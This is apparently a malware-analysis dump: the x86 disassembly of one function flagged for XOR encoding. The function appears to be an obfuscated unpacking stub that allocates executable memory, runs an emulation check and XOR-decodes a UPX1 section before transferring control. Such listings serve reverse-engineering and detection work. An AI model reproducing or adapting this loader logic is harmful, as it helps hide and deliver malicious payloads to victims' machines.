Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6aae0b0b
not ebx
add ecx, 1
add ecx, ebx
popal
mov ebx, 0xe8259abc
add ebx, ecx
mov edi, 0
mov ecx, ebx
not esi
sub esi, 0x29170eea
add esi, eax
mov edx, ecx
and esi, eax
sub esi, eax
mov ebx, edx
add eax, 0x53d974d9
or esi, eax
mov esi, 0x443a5ccc
add edi, 1
mov eax, 0xfd4ae89b
dec esi
or esi, eax
cmp edi, 0x1006fba
jne 0xa789c9
add eax, esi
add esi, 0xad9320da
sub eax, 1
add ebx, ebx
not ebx
mov esi, 0xa78796
mov edx, edi
dec edx
mov ecx, 0xa7898a
mov edi, ebx
sub edi, 0xd4e1ba3b
sub ebx, 0xe91e3069
mov eax, dword [esi]
dec edi
sub edx, edi
not edx
and eax, 0xff
not edi
or edi, ebx
and edi, edx
xor dword [ecx], eax
add ebx, 0xcd293738
mov edx, ebx
add ecx, 1
not edi
sub edi, ebx
inc esi
add ebx, edi
not ebx
and edx, edi
cmp ecx, entry0
jl 0xa78a31
sub ebx, 0x6c07b45f
not ebx
add edx, ebx
add edi, ebx
sub edi, ebx
or ebx, edi
or edx, ebx
mov ecx, 0xa7898e
mov ebx, 0xe190ac90
mov ebx, esi
mov ecx, dword [ecx]
sub esi, 0x2d28a541
sub edx, edi
and edi, edx
mov ecx, dword [ecx]
and ebx, ebx
and esi, ebx
sub edx, 0xbe0c0e5f
push ecx
or esi, edx
add ebx, 0xbfabcc90
mov ecx, 0xa7898a
sub edi, 0x23d3dcd6
dec esi
mov ecx, dword [ecx]
inc edx
sub esi, 0x49a7ec20
dec esi
mov ecx, dword [ecx]
add esi, 0xcc1e94be
add esi, 0xe95ebe7f
sub esp, 4
mov dword [esp], 0xa78992
mov edi, edx
mov edi, ebx
call ecx
mov esi, 0xb600981e
add ebx, 0x28d14c35
pop ecx
add ebx, edi
mov ebx, esi
dec edx
push 0xa7899f
inc edx
mov edx, 0x42d12dbd
sub esi, 1
push eax
sub edi, 1
sub edi, edx
call ecx
inc ebx
not edx
add esi, ebx
push 0x40
mov esi, 0x336a8028
sub edx, 0x7a868c99
and edi, edi
push 0x3000
mov edi, ebx
sub edx, edi
push 0x200005a0
inc esi
add esi, 0x2e591fb0
push 0
and edi, esi
sub esi, edx
sub edi, 0x44e128a7
call eax
sub edi, esi
not edx
add eax, 0x20000536
not edx
dec edx
and ebx, edx
mov ecx, 0x9804ac17
not edx
mov edx, 0x19004513
mov dword [eax], ecx
dec edx
add edx, edx
dec edx
mov ecx, dword [eax]
not esi
add edx, 0xe9216186
cmp ecx, 0x9804ac17
je 0xa78b82
mov ecx, 0
mov byte [ecx], bl
add ebx, edi
inc edi
add ebx, esi
mov edi, ebx
not ebx
sub ecx, ebx
mov edx, section.UPX1
not ebx
or ebx, ecx
sub ebx, 0xa687e65d
mov eax, 0xa78795
or ecx, ecx
sub ecx, ebx
or ebx, ecx
mov esi, 0
mov ecx, 0xbe63ceec
not ecx
not ebx
mov edi, 0xa78796
add ebx, 0x5ef574a5
inc ecx
lea edi, [edi + esi]
not ebx
mov ebx, ecx
mov edi, dword [edi]
inc ebx
or ecx, ecx
inc ecx
and edi, 0xff
sub ecx, 0xd37c3774
dec ecx
sub ecx, ebx
inc esi
not ebx
add ebx, 0xbb3c3032
not ebx
cmp esi, 0x1f4
jne 0xa78bf5
mov esi, 0
or ebx, ecx
mov ebx, 0xd8828354
sub ebx, ecx
or ecx, ebx
mov ebx, ecx
xor dword [edx], edi
inc ebx
add ebx, 1
add edx, 2
mov ecx, 0xe987d6a
not ebx
mov ecx, 0x2fb3f984
cmp edx, eax
jl 0xa78bb5
add ecx, 0xa2572473
not ecx
mov ecx, ebx
inc ebx
mov esi, section.UPX1
sub ebx, edi
add ebx, 1
mov eax, section.UPX1
add ebx, 1
mov edi, ebx
mov ecx, 0xa78795
not edi
sub ebx, edi
mov edx, 0
not ebx
sub ebx, edi
mov dl, byte [eax]
dec ebx
add edi, 0xf57c483a
mov ebx, 0x40dfc5f1
mov byte [esi], dl
mov edi, 0xb90868e
mov edi, 0x19b2e598
add esi, 1
and edi, edi
mov ebx, edi
add ebx, 0x63377d26
add eax, 2
or ebx, ebx
not ebx
cmp eax, ecx
jle 0xa78c5c
sub edi, ebx
sub ebx, edi
dec ebx
add ebx, 0x1dbbaa38
push 0x8dc6a0
and ecx, ecx
add ecx, 0xef832ccb
mov ebx, 0xa6cc6bb4
ret